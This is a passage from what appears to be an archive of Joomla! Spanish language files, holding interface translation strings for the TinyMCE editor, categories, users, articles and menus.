= No codificar las entidades HTML. Note que las búsquedas en el contenido no puede funcionar correctamente si no está configurado en 'bruto'." PLG_TINY_FIELD_ENCODING_LABEL="Codificación de entidades" PLG_TINY_FIELD_FONTS_DESC="Se muestra u oculta el control de selección de fuentes. Solo aplicable en modo extendido" PLG_TINY_FIELD_FONTS_LABEL="Fuentes" PLG_TINY_FIELD_FULLSCREEN_DESC="Se muestra u oculta el botón de pantalla completa. Solo funcionará en el modo extendido." PLG_TINY_FIELD_FULLSCREEN_LABEL="Pantalla completa" PLG_TINY_FIELD_FUNCTIONALITY_DESC="Seleccione la funcionalidad" PLG_TINY_FIELD_FUNCTIONALITY_LABEL="Funcionalidad" PLG_TINY_FIELD_HR_DESC="Se muestra u oculta el botón de línea horizontal" PLG_TINY_FIELD_HR_LABEL="Línea horizontal" PLG_TINY_FIELD_HTMLHEIGHT_DESC="Altura del modo ventana emergente HTML. Solo funcionará en el modo extendido." PLG_TINY_FIELD_HTMLHEIGHT_LABEL="Altura HTML" PLG_TINY_FIELD_HTMLWIDTH_DESC="Ancho del modo ventana emergente HTML. Solo funcionará en el modo extendido." PLG_TINY_FIELD_HTMLWIDTH_LABEL="Ancho HTML" PLG_TINY_FIELD_INLINEPOPUPS_DESC="Todos los cuadros de diálogo se abrirán como capas 'DIV', en lugar de ventanas emergentes. Esta opción puede ser muy útil para evitar a los bloqueadores de ventanas emergentes." PLG_TINY_FIELD_INLINEPOPUPS_LABEL="Ventanas emergentes" PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS="Parámetros avanzados" PLG_TINY_FIELD_LANGCODE_DESC="Interfaz del idioma del editor. Este valor tiene preferencia si se ha asignado manualmente un idioma." PLG_TINY_FIELD_LANGCODE_LABEL="Código del idioma" PLG_TINY_FIELD_LANGSELECT_DESC="Configurado en 'Sí', el idioma del editor será seleccionado automáticamente. No lo active si los idiomas apropiados del editor no están instalados." PLG_TINY_FIELD_LANGSELECT_LABEL="Selección del idioma automático" PLG_TINY_FIELD_LAYER_DESC="Se muestra u oculta el botón 'Añadir nueva capa'. Solo funcionará en el modo extendido." PLG_TINY_FIELD_LAYER_LABEL="Capa" PLG_TINY_FIELD_MEDIA_DESC="Se muestra u oculta el botón multimedia. Solo aplicable en modo extendido" PLG_TINY_FIELD_MEDIA_LABEL="Multimedia" PLG_TINY_FIELD_NAME_EXTENDED_LABEL="Opciones del modo extendido
            Estas opciones solo son aplicables en el modo extendido." PLG_TINY_FIELD_NEWLINES_DESC="Las nuevas líneas se crearán usando la opción seleccionada." PLG_TINY_FIELD_NEWLINES_LABEL="Nuevas líneas" PLG_TINY_FIELD_NONBREAKING_DESC="Se insertan entidades de espacio sin ruptura" PLG_TINY_FIELD_NONBREAKING_LABEL="Sin ruptura" PLG_TINY_FIELD_PASTE_DESC="Se muestra u oculta el botón 'Pegar'. Solo aplicable en modo extendido" PLG_TINY_FIELD_PASTE_LABEL="Pegar" PLG_TINY_FIELD_PATH_DESC="Configurado en 'Activado', muestra las clases asignadas al texto seleccionado." PLG_TINY_FIELD_PATH_LABEL="Ruta a los elementos" PLG_TINY_FIELD_PROHIBITED_DESC="Elementos que se borrarán del texto. No lo deje en blanco - si no quiere prohibir que cualquiera introduzca texto; por ejemplo: e.g.cms" PLG_TINY_FIELD_PROHIBITED_LABEL="Elementos prohibidos" PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC="Se habilita o deshabilita el botón de redimensionado horizontal" PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL="Redimensionado horizontal" PLG_TINY_FIELD_RESIZING_DESC="Se habilita o deshabilita el botón de redimensionado." PLG_TINY_FIELD_RESIZING_LABEL="Redimensionado" PLG_TINY_FIELD_RTL_DESC="Se selecciona entre si mostrar, o no, el botón RTL. Solo funcionará en el modo extendido" PLG_TINY_FIELD_RTL_LABEL="Direccionalidad" PLG_TINY_FIELD_SAVEWARNING_DESC="Advertencias de guardado: Se muestra una advertencia si se intenta cancelar sin guardar los cambios." PLG_TINY_FIELD_SAVEWARNING_LABEL="Advertencias de guardado" PLG_TINY_FIELD_SEARCH-REPLACE_DESC="Se muestra u oculta el botón de 'buscar y reemplazar'. Solo funcionará en el modo extendido." PLG_TINY_FIELD_SEARCH-REPLACE_LABEL="Buscar/Reemplazar" PLG_TINY_FIELD_SKIN_DESC="Seleccionar diseño" PLG_TINY_FIELD_SKIN_LABEL="Diseño" PLG_TINY_FIELD_SMILIES_DESC="Se muestran u ocultan los botones de los emoticonos. Solo funcionará en el modo extendido." PLG_TINY_FIELD_SMILIES_LABEL="Emoticonos" PLG_TINY_FIELD_STYLE_DESC="Se muestra u oculta el botón de control del estilo CSS. Solo funcionará en el modo extendido." PLG_TINY_FIELD_STYLE_LABEL="Estilo" PLG_TINY_FIELD_TABLE_DESC="Se muestran u ocultan los botones de control de tablas. Solo funcionará en el modo extendido." PLG_TINY_FIELD_TABLE_LABEL="Tabla" PLG_TINY_FIELD_TEMPLATE_DESC="Se muestra u oculta el botón de inserción de la plantilla de contenido. Solo aplicable en modo extendido." PLG_TINY_FIELD_TEMPLATE_LABEL="Plantilla" PLG_TINY_FIELD_TIME_DESC="Se muestra u oculta el botón de insertar hora. Solo funcionará en el modo extendido." PLG_TINY_FIELD_TIME_LABEL="Insertar hora" PLG_TINY_FIELD_TIMEFORMAT_DESC="Formato del la hora introducida. Solo funcionará en el modo extendido" PLG_TINY_FIELD_TIMEFORMAT_LABEL="Formato horario" PLG_TINY_FIELD_TOOLBAR_ALIGN_DESC="Alineación de la barra de herramientas" PLG_TINY_FIELD_TOOLBAR_ALIGN_LABEL="Alineación barra herramientas" PLG_TINY_FIELD_TOOLBAR_DESC="Posición de la barra de herramientas" PLG_TINY_FIELD_TOOLBAR_LABEL="Barra de herramientas" PLG_TINY_FIELD_URLS_DESC="Comportamiento URL" PLG_TINY_FIELD_URLS_LABEL="URLs" PLG_TINY_FIELD_VALUE_ABSOLUTE="Absoluto" PLG_TINY_FIELD_VALUE_ADVANCED="Avanzado" PLG_TINY_FIELD_VALUE_ALWAYS="Siempre" PLG_TINY_FIELD_VALUE_BLACK="Office2007 Black" PLG_TINY_FIELD_VALUE_BLUE="Office2007 Blue" PLG_TINY_FIELD_VALUE_BOTTOM="Inferior" PLG_TINY_FIELD_VALUE_BR="Elementos BR" PLG_TINY_FIELD_VALUE_CENTER="Centrar" PLG_TINY_FIELD_VALUE_DEFAULT="Predeterminado" PLG_TINY_FIELD_VALUE_EXTENDED="Extendido" PLG_TINY_FIELD_VALUE_FRONT="Solo sitio" PLG_TINY_FIELD_VALUE_LEFT="Izquierda" PLG_TINY_FIELD_VALUE_LTR="De izquierda a derecha" PLG_TINY_FIELD_VALUE_NAMED="nombrado" PLG_TINY_FIELD_VALUE_NEVER="Nunca" PLG_TINY_FIELD_VALUE_NUMERIC="numérico" PLG_TINY_FIELD_VALUE_P="Elementos P" PLG_TINY_FIELD_VALUE_RAW="bruto" PLG_TINY_FIELD_VALUE_RELATIVE="Relativo" PLG_TINY_FIELD_VALUE_RIGHT="Derecha" PLG_TINY_FIELD_VALUE_RTL="De derecha a izquierda" PLG_TINY_FIELD_VALUE_SILVER="Office2007 Silver" PLG_TINY_FIELD_VALUE_SIMPLE="Básico" PLG_TINY_FIELD_VALUE_TOP="Superior" PLG_TINY_FIELD_VISUALCHARS_DESC="Se posibilita el que se puedan ver los caracteres invisibles, especialmente los espacios 'sin ruptura' ('non-breaking spaces')." PLG_TINY_FIELD_VISUALCHARS_LABEL="Caracteres visibles" PLG_TINY_FIELD_VISUALBLOCKS_DESC="Posibilidad de ver los bloques de elementos HTML en 'outline'." PLG_TINY_FIELD_VISUALBLOCKS_LABEL="Visualizar bloques HTML" PLG_TINY_FIELD_WORDCOUNT_DESC="Se activa o desactiva el contador de palabras" PLG_TINY_FIELD_WORDCOUNT_LABEL="Contador de palabras" PLG_TINY_FIELD_XHTMLXTRAS_DESC="Se muestran u ocultan las características adicionales de XHTML. Solo funcionará en el modo extendido." PLG_TINY_FIELD_XHTMLXTRAS_LABEL="XHTMLxtras" PLG_TINY_XML_DESCRIPTION="El TinyMCE es un editor WYSIWYG controlado con JavaScript, sobre una plataforma independiente basada en web." PK@y>\S)*mm)language/es-ES/es-ES.plg_content_vote.ininuW+A; $Id: es-ES.plg_content_vote.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_VOTE="Contenido - Votar" PLG_VOTE_BEST="Bueno" PLG_VOTE_POOR="Malo" PLG_VOTE_RATE="Votar" PLG_VOTE_USER_RATING="Ratio: %1$s / %2$s" PLG_VOTE_VOTE="Voto %s" PLG_VOTE_XML_DESCRIPTION="Añade la funcionalidad de votación a los artículos." PK@y>\8'language/es-ES/es-ES.com_categories.ininuW+A; $Id: es-ES.com_categories.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! CATEGORIES_FIELDSET_OPTIONS="Opciones" COM_CATEGORIES="Categorías" COM_CATEGORIES_ACCESS_CREATE_DESC="La nueva configuración para esta categoría sobre la acción Crear y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos" COM_CATEGORIES_ACCESS_DELETE_DESC="La nueva configuración para esta categoría sobre la acción Borrar y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos" COM_CATEGORIES_ACCESS_EDIT_DESC="La nueva configuración para esta categoría sobre la acción Editar y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos" COM_CATEGORIES_ACCESS_EDITOWN_DESC="La nueva configuración para esta categoría sobre la acción Editar propios y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos" COM_CATEGORIES_ACCESS_EDITSTATE_DESC="Estado heredado para esta categoría sobre la acción Estado y la configuración calculada en base a lo asignado desde la categoría principal y de los grupos" COM_CATEGORIES_BASIC_FIELDSET_LABEL="Opciones básicas" COM_CATEGORIES_BATCH_CANNOT_CREATE="No tiene permiso para crear nuevas categorías en esta categoría" COM_CATEGORIES_BATCH_CANNOT_EDIT="No tiene permiso para editar una o más de una de esas categorías." COM_CATEGORIES_BATCH_CATEGORY_LABEL="Seleccione una categoría a mover o copiar" COM_CATEGORIES_BATCH_OPTIONS="Proceso por lotes de las categorías seleccionadas" COM_CATEGORIES_BATCH_TIP="Si se ha elegido copiar una categoría, se aplicará cualquier otra acción seleccionada en la categoría a copiar. En otro caso, se aplicarán todas las acciones a la categoría seleccionada." COM_CATEGORIES_CATEGORIES_BASE_TITLE="Gestor de categorías" COM_CATEGORIES_CATEGORIES_TITLE="Gestor de categorías: %s" COM_CATEGORIES_CATEGORY_ADD_TITLE="Gestor de categorías: Añadir un %s de categoría" COM_CATEGORIES_CATEGORY_BASE_ADD_TITLE="Gestor de categorías: Añadir una nueva categoría" COM_CATEGORIES_CATEGORY_BASE_EDIT_TITLE="Gestor de categorías: Editar categoría" COM_CATEGORIES_CATEGORY_EDIT_TITLE="Gestor de categorías: Editar un %s de categoría" COM_CATEGORIES_CATEGORY_OPTIONS="Opciones de la categoría" COM_CATEGORIES_DELETE_NOT_ALLOWED="No está permitida la acción 'Borrar' para la categoría %s. " COM_CATEGORIES_DESCRIPTION_DESC="Introduzca una descripción opcional de la categoría dentro del área de texto." COM_CATEGORIES_FIELD_IMAGE_DESC="Elija una imagen para esta categoría" COM_CATEGORIES_FIELD_IMAGE_LABEL="Imagen" COM_CATEGORIES_FIELD_LANGUAGE_DESC="Asigne un idioma a esta categoría." COM_CATEGORIES_FIELD_PARENT_DESC="Seleccione la categoría a la que va a pertenecer esta categoría. Seleccione 'Principal', si se trata de una categoría de primer nivel o raíz" COM_CATEGORIES_FIELD_PARENT_LABEL="Categoría raíz" COM_CATEGORIES_FIELDSET_DETAILS="Detalles" COM_CATEGORIES_FIELDSET_RULES="Permisos de la categoría" COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS="%d elementos están asignados a las subcategorías de esta categoría." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS_1="%d elemento está asignado a alguna subcategoría de esta categoría." COM_CATEGORIES_ITEMS_SEARCH_FILTER="Buscar" COM_CATEGORIES_N_ITEMS_ARCHIVED="%d categorías han sido archivadas correctamente" COM_CATEGORIES_N_ITEMS_ARCHIVED_1="%d categoría ha sido archivada correctamente" COM_CATEGORIES_N_ITEMS_ASSIGNED="%d elementos están asignados a esta categoría." COM_CATEGORIES_N_ITEMS_ASSIGNED_1="%d elemento está asignado a esta categoría." COM_CATEGORIES_N_ITEMS_CHECKED_IN_0="Ninguna categoría ha sido desbloqueada correctamente" COM_CATEGORIES_N_ITEMS_CHECKED_IN_1="%d categoría ha sido desbloqueada correctamente" COM_CATEGORIES_N_ITEMS_CHECKED_IN_MORE="%d categorías han sido desbloqueadas correctamente" COM_CATEGORIES_N_ITEMS_DELETED="%d categorías han sido borradas correctamente" COM_CATEGORIES_N_ITEMS_DELETED_1="%d categoría ha sido borrada correctamente" COM_CATEGORIES_N_ITEMS_PUBLISHED="%d categorías han sido publicadas correctamente" COM_CATEGORIES_N_ITEMS_PUBLISHED_1="%d categoría ha sido publicada correctamente" COM_CATEGORIES_N_ITEMS_TRASHED="%d categorías han sido movidas a la papelera correctamente" COM_CATEGORIES_N_ITEMS_TRASHED_1="%d categoría ha sido movida a la papelera correctamente" COM_CATEGORIES_N_ITEMS_UNPUBLISHED="%d categorías han sido despublicadas correctamente" COM_CATEGORIES_N_ITEMS_UNPUBLISHED_1="%d categoría ha sido despublicada correctamente" COM_CATEGORIES_REBUILD_FAILURE="Se ha producido un error reconstruyendo los datos de estructuración de las categorías." COM_CATEGORIES_REBUILD_SUCCESS="La reconstrucción de los datos de estructuración de las categorías se ha realizado correctamente." COM_CATEGORIES_SAVE_SUCCESS="La categoría ha sido guardada correctamente" COM_CATEGORIES_XML_DESCRIPTION="Este componente permite gestionar categorías" JGLOBAL_NO_ITEM_SELECTED="Sin categorías seleccionadas" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="No se puede cambiar el estado de publicación cuando el estado de su categoría principal o raíz es incompatible con el estado que se intenta aplicar." JLIB_HTML_ACCESS_SUMMARY_DESC="Lo que se muestra más abajo es una vista general de la configuración de los permisos para esta categoría. Haga clic en las pestañas de más arriba para personalizar esos parámetros por acción." JLIB_RULES_SETTING_NOTES_ITEM="1. Si cambia esta configuración, las modificaciones se aplicarán recursivamente en esta categoría y en todas sus subcategorías. Note que:
            Herededo quiere decir que si la categoría que ha seleccionado tiene una categoría principal, se usarán los valores asignados desde ahí; y, si no tiene una categoría principal, se usarán los valores asignados desde la configuración del componente.
            Denegado quiere decir que da igual cual sea la configuración de la categoría principal o del componente; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre esa categoría (incluyendo a todas sus subcategorías, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre esta categoría (pero si esta configuración entra en conflicto con lo asignado desde la configuración de la categoría principal, o con lo asignado desde la configuración del componente, la configuración que aplique desde aquí no tendrá efecto, y se indicará que hay un conflicto al lado del estado de configuración calculada: No permitido (bloqueado)).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\ۿ&language/es-ES/es-ES.com_users.sys.ininuW+A; $Id: es-ES.com_users.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_USER_LOGIN_VIEW_DEFAULT_DESC="Muestra un formulario de datos de acceso" COM_USER_LOGIN_VIEW_DEFAULT_OPTION="Formulario de datos de acceso" COM_USER_LOGIN_VIEW_DEFAULT_TITLE="Mostrar un formulario de datos de acceso" COM_USER_PROFILE_EDIT_DEFAULT_DESC="Editar un perfil de usuario" COM_USER_PROFILE_EDIT_DEFAULT_OPTION="Editar el perfil de usuario" COM_USER_PROFILE_EDIT_DEFAULT_TITLE="Mostrar un formulario de edición del perfil de usuario" COM_USER_PROFILE_VIEW_DEFAULT_DESC="Muestra la información de un perfil de usuario" COM_USER_PROFILE_VIEW_DEFAULT_OPTION="Perfil de usuario" COM_USER_PROFILE_VIEW_DEFAULT_TITLE="Mostrar la información del perfil de usuario" COM_USER_REGISTRATION_VIEW_DEFAULT_DESC="Muestra un formulario de registro" COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION="Predeterminado" COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE="Mostrar un formulario de registro" COM_USER_REMIND_VIEW_DEFAULT_DESC="Muestra el recordatorio del nombre de usuario" COM_USER_REMIND_VIEW_DEFAULT_OPTION="Predeterminado" COM_USER_REMIND_VIEW_DEFAULT_TITLE="Mostrar un formulario de recordatorio de usuario" COM_USER_RESET_VIEW_DEFAULT_DESC="Muestra una solicitud de restablecimiento de contraseña" COM_USER_RESET_VIEW_DEFAULT_OPTION="Predeterminado" COM_USER_RESET_VIEW_DEFAULT_TITLE="Mostrar un formulario de restablecimiento de contraseña" COM_USERS="Gestor de usuarios" COM_USERS_XML_DESCRIPTION="Componente que permite gestionar usuarios" PK@y>\ѕ(language/es-ES/es-ES.mod_version.sys.ininuW+A; $Id: es-ES.mod_version.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_VERSION="Información de la versión de Joomla!" MOD_VERSION_LAYOUT_DEFAULT="Predeterminada" MOD_VERSION_XML_DESCRIPTION="Este módulo muestra la versión de Joomla!" PK@y>\\~2 2 (language/es-ES/es-ES.com_content.sys.ininuW+A; $Id: es-ES.com_content.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CONTENT="Artículos" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC="Muestra todos los artículos archivados." COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE="Mostrar los artículos archivados" COM_CONTENT_ARTICLE_MANAGER="Gestor de artículos" COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC="Muestra un solo artículo." COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE="Mostrar un solo artículo" COM_CONTENT_ARTICLES="Artículos" COM_CONTENT_CATEGORIES="Categorías" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC="Muestra todas las categorías de artículos que hay dentro de una categoría, con formato del tipo lista o tabla; o, del tipo blog." COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE="Mostrar todas las categorías" COM_CONTENT_CATEGORY_ADD_TITLE="Gestor de categorías: Añadir una nueva categoría de artículos" COM_CONTENT_CATEGORY_EDIT_TITLE="Gestor de categorías: Editar una categoría de artículos" COM_CONTENT_CATEGORY_VIEW_BLOG_DESC="Muestra los textos de introducción de los artículos en una presentación de columna simple o múltiple." COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION="Blog" COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE="Mostrar una categoría en formato blog" COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC="Muestra una lista de artículos pertenecientes a una categoría." COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION="Lista" COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE="Mostrar una categoría en formato lista" COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC="Muestra todos los artículos destacados de una o multiples categorías en una presentación de columna simple o múltiple." COM_CONTENT_CATEGORY_VIEW_FEATURED_OPTION="Predeterminado" COM_CONTENT_CATEGORY_VIEW_FEATURED_TITLE="Mostrar los artículos destacados de una sola categoría" COM_CONTENT_FEATURED="Destacado" COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC="Muestra el texto de introducción de todos los artículos destacados y de todas las categorías, en una presentación de columna simple o múltiple. " COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE="Mostrar todos los artículos destacados" COM_CONTENT_FORM_VIEW_DEFAULT_DESC="Crear un nuevo artículo" COM_CONTENT_FORM_VIEW_DEFAULT_OPTION="Crear" COM_CONTENT_FORM_VIEW_DEFAULT_TITLE="Mostrar el formulario para crear y enviar un artículo" COM_CONTENT_XML_DESCRIPTION="Componente para gestionar artículos" PK@y>\(ߪq=="language/es-ES/es-ES.com_menus.ininuW+A; $Id: es-ES.com_menus.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MENUS="Gestor de menús" COM_MENUS_ADD_MENU_MODULE="Añadir un módulo para este tipo de menú." COM_MENUS_ADVANCED_FIELDSET_LABEL="Opciones avanzadas" COM_MENUS_BASIC_FIELDSET_LABEL="Opciones básicas" COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE="No tiene permiso para crear nuevos elementos de menú." COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT="No tiene permiso para editar elementos de menú." COM_MENUS_BATCH_MENU_LABEL="Seleccionar menú o nivel principal a mover o copiar" COM_MENUS_BATCH_OPTIONS="Proceso por lotes de los elementos del menú seleccionados" COM_MENUS_BATCH_TIP="Si se ha elegido copiar un elemento del menú, se aplicará cualquier otra acción seleccionada en el elemento del menú a copiar. En otro caso, se aplicarán todas todas las acciones al elemento del menú seleccionado." COM_MENUS_CONFIGURATION="Configuración de los menús" COM_MENUS_EDIT_MODULE_SETTINGS="Editar la configuración del módulo" COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED="Un elemento del menú asociado al idioma 'Todos' no se puede asociar. Las asociaciones no han sido asignadas." COM_MENUS_ERROR_ALREADY_HOME="El elemento del menú ya está asignado al inicio" COM_MENUS_ERROR_ONE_HOME="Solo puede haber un elemento del menú asignado a la página de inicio por cada idioma" COM_MENUS_EXTENSION_PUBLISHED_DISABLED="El componente está deshabilitado y el elemento del menú publicado" COM_MENUS_EXTENSION_PUBLISHED_ENABLED="El componente está habilitado y el elemento del menú publicado" COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED="El componente está deshabilitado y el elemento del menú está despublicado" COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED="El componente está habilitado y el elemento del menú está despublicado" COM_MENUS_FIELD_FEEDLINK_DESC="Se muestra un enlace de sindicación para este elemento del menú" COM_MENUS_FIELD_FEEDLINK_LABEL="Enlace de sindicación" COM_MENUS_FIELD_VALUE_IGNORE="Ignorar" COM_MENUS_FIELD_VALUE_NEW_WITH_NAV="Nueva ventana con barra de navegación" COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV="Nueva ventana sin barra de navegación" COM_MENUS_FIELD_VALUE_PARENT="Misma ventana" COM_MENUS_GRID_UNSET_LANGUAGE="Desasignar %s predeterminado" COM_MENUS_HEADING_ASSIGN_MODULE="Módulo" COM_MENUS_HEADING_ASSOCIATION="Asociación" COM_MENUS_HEADING_DISPLAY="Mostrar" COM_MENUS_HEADING_HOME="Inicio" COM_MENUS_HEADING_LINKED_MODULES="Módulos enlazados al menú" COM_MENUS_HEADING_NUMBER_MENU_ITEMS="Elementos del menú" COM_MENUS_HEADING_PUBLISHED_ITEMS="Publicados" COM_MENUS_HEADING_TRASHED_ITEMS="Movidos a la papelera" COM_MENUS_HEADING_UNPUBLISHED_ITEMS="Despublicados" COM_MENUS_HTML_PUBLISH_ALIAS="Publicar el alias del elemento del menú" COM_MENUS_HTML_PUBLISH_DISABLED="Publicar el elemento del menú::Componente deshabilitado" COM_MENUS_HTML_PUBLISH_ENABLED="Publicar elemento del menú::Componente habilitado" COM_MENUS_HTML_PUBLISH_SEPARATOR="Publicar el separador del elemento del menú" COM_MENUS_HTML_PUBLISH_URL="Publicar la URL externa del elemento del menú" COM_MENUS_HTML_UNPUBLISH_ALIAS="Despublicar el alias del elemento del menú" COM_MENUS_HTML_UNPUBLISH_DISABLED="Despublicar elemento del menú::Componente deshabilitado" COM_MENUS_HTML_UNPUBLISH_ENABLED="Deshabilitar elemento del menú::Componente habilitado" COM_MENUS_HTML_UNPUBLISH_SEPARATOR="Despublicar el separador del elemento del menú" COM_MENUS_HTML_UNPUBLISH_URL="Despublicar la URL externa del elemento del menú" COM_MENUS_INTEGRATION_FIELDSET_LABEL="Opciones de integración" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_LABEL="Elemento del menú de asociaciones" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC="¡Solo para múltiples idiomas! Esto se elige solo si el parámetro del filtro del idioma 'Asociaciones de menú' está configurado en 'Sí'. Elija un elemento del menú para el idioma de destino. Esta asociación dejará al modulo selector del idioma redirigiendo al elemento del menú asociado en otro idioma. En caso de usarse, asegúrese de que el módulo selector del idioma está presente en las correspondientes páginas. Un elemento del menú que este configurado en 'Todos' no se puede asociar." COM_MENUS_ITEM_DETAILS="Detalles" COM_MENUS_ITEM_FIELD_ALIAS_DESC="El alias que se usa en la URL cuando SEF está habilitado" COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC="Elemento del menú a enlazar con..." COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL="Elemento del menú" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC="Un estilo opcional y personalizado para aplicar en el enlace del menú." COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL="Estilo CSS del enlace" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC="Una descripción opcional y personalizada para el atributo del título del enlace del menú." COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL="Valor para el atributo 'title' del enlace" COM_MENUS_ITEM_FIELD_ASSIGNED_DESC="Se muestra el menú con el cual está relacionado este elemento del menú." COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL=" Menú" COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE="- Sin asociar -" COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC="Ventana de destino en el navegador cuando se hace clic sobre el elemento del menú." COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL="Abrir en" COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED="Ocultar los módulos sin asignar" COM_MENUS_ITEM_FIELD_HOME_DESC="Asigne a este elemento del menú como el predeterminado o de página de inicio del sitio. Si no la hay aún, debe tener asignada una página de inicio." COM_MENUS_ITEM_FIELD_HOME_LABEL="Página de inicio" COM_MENUS_ITEM_FIELD_LANGUAGE_DESC="Asigne un idioma a este elemento del menú" COM_MENUS_ITEM_FIELD_LINK_DESC="Enlace para este menú" COM_MENUS_ITEM_FIELD_LINK_LABEL="Enlace" COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC="Una imagen opcional para ser usada con el enlace del elemento del menú" COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL="Imagen del enlace" COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC="Si se ha incluido una imagen opcional, esa imagen se añadirá cerca del título del menú. Predeterminadamente está configurado en 'Sí'." COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL="Añadir el título del menú" COM_MENUS_ITEM_FIELD_NOTE_DESC="Introduzca algún texto aquí" COM_MENUS_ITEM_FIELD_ORDERING_DESC="El elemento del menú se colocará en el menú, después del elemento del menú seleccionado" COM_MENUS_ITEM_FIELD_ORDERING_LABEL="Orden" COM_MENUS_ITEM_FIELD_ORDERING_TEXT="El orden estará disponible después de guardar" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST="- Primero -" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST="- Último -" COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC="Clase CSS opcional para añadir a los elementos de esta página. Permite usar un estilo CSS personalizado específico en esta página." COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL="Clase CSS de la página" COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC="Un texto opcional y alternativo para el encabezado de la página." COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL="Encabezado de la página" COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC="Un texto opcional para el elemento del 'Título de la página en el navegador'. Si se deja en blanco, el valor predeterminado se usará basándose en el título del elemento del menú." COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL="Título de la página en el navegador" COM_MENUS_ITEM_FIELD_PARENT_DESC="Seleccione un elemento principal" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Elemento principal" 